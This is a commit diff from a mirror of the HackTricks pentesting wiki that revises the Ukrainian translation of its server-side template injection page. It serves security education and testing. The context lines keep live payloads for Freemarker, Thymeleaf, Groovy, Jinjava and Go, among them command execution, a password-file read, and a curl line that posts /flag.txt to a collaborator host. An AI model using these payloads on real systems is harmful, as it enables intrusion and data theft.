mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['pentesting-web/ssti-server-side-template-injection/README.m
This commit is contained in:
parent
7ff5c0e93a
commit
1b019724fa
1 changed files with 13 additions and 13 deletions
|
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
|
|
||||||
Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||||
|
|
||||||
* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
|
* Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів.
|
||||||
* Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
* Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
||||||
* **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
* **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
||||||
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username` для перевірки, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
* **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username` для перевірки, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||||
|
@ -123,7 +123,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||||
|
|
||||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||||
```
|
```
|
||||||
**Freemarker - обхід пісочниці**
|
**Freemarker - Обхід пісочниці**
|
||||||
|
|
||||||
⚠️ працює лише на версіях Freemarker нижче 2.3.30
|
⚠️ працює лише на версіях Freemarker нижче 2.3.30
|
||||||
```java
|
```java
|
||||||
|
@ -196,7 +196,7 @@ Thymeleaf також пропонує _попередню обробку вир
|
||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як:
|
Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
|
@ -326,7 +326,7 @@ Jinjava - це проект з відкритим кодом, розроблен
|
||||||
* `{{'a'.toUpperCase()}}` - "A"
|
* `{{'a'.toUpperCase()}}` - "A"
|
||||||
* `{{'a'.concat('b')}}` - "ab"
|
* `{{'a'.concat('b')}}` - "ab"
|
||||||
* `{{'a'.getClass()}}` - java.lang.String
|
* `{{'a'.getClass()}}` - java.lang.String
|
||||||
* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest
|
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
|
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
|
||||||
|
@ -382,11 +382,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
* `${{7*7}}` - 49
|
* `${{7*7}}` - 49
|
||||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||||
|
|
||||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані бінари) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
|
* **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
|
||||||
* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
|
* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними в JSP-сторінках, що полегшує зв'язок елементів сторінки з даними програми.
|
||||||
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бінарами, що забезпечує більш узгоджену структуру програми.
|
* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
|
||||||
|
|
||||||
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
|
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
|
||||||
|
|
||||||
|
@ -396,7 +396,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
|
|
||||||
### Groovy (Java)
|
### Groovy (Java)
|
||||||
|
|
||||||
Наступні обходи Security Manager були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
Наступні обходи менеджера безпеки були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||||
```java
|
```java
|
||||||
//Basic Payload
|
//Basic Payload
|
||||||
import groovy.*;
|
import groovy.*;
|
||||||
|
@ -778,9 +778,9 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
|
> Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD.
|
||||||
|
|
||||||
* `{{7*7}} = Помилка`
|
* `{{7*7}} = Error`
|
||||||
* `${7*7} = ${7*7}`
|
* `${7*7} = ${7*7}`
|
||||||
* `{{foobar}} Нічого`
|
* `{{foobar}} Nothing`
|
||||||
* `{{4*4}}[[5*5]]`
|
* `{{4*4}}[[5*5]]`
|
||||||
* `{{7*'7'}} = 7777777`
|
* `{{7*'7'}} = 7777777`
|
||||||
* `{{config}}`
|
* `{{config}}`
|
||||||
|
@ -892,7 +892,7 @@ ${x}
|
||||||
```
|
```
|
||||||
### SSTI в GO
|
### SSTI в GO
|
||||||
|
|
||||||
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів:
|
||||||
|
|
||||||
* `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
* `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
||||||
* `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
* `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
||||||
|
@ -900,7 +900,7 @@ ${x}
|
||||||
|
|
||||||
**Експлуатація XSS**
|
**Експлуатація XSS**
|
||||||
|
|
||||||
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
З пакетом `text/template` XSS може бути простим шляхом вставки пейлоаду безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
**Експлуатація RCE**
|
**Експлуатація RCE**
|
||||||
|
|
||||||
|
@ -915,7 +915,7 @@ return string(out)
|
||||||
```
|
```
|
||||||
**Більше інформації**
|
**Більше інформації**
|
||||||
|
|
||||||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||||
|
|
||||||
### Більше експлойтів
|
### Більше експлойтів
|
||||||
|
|
Loading…
Reference in a new issue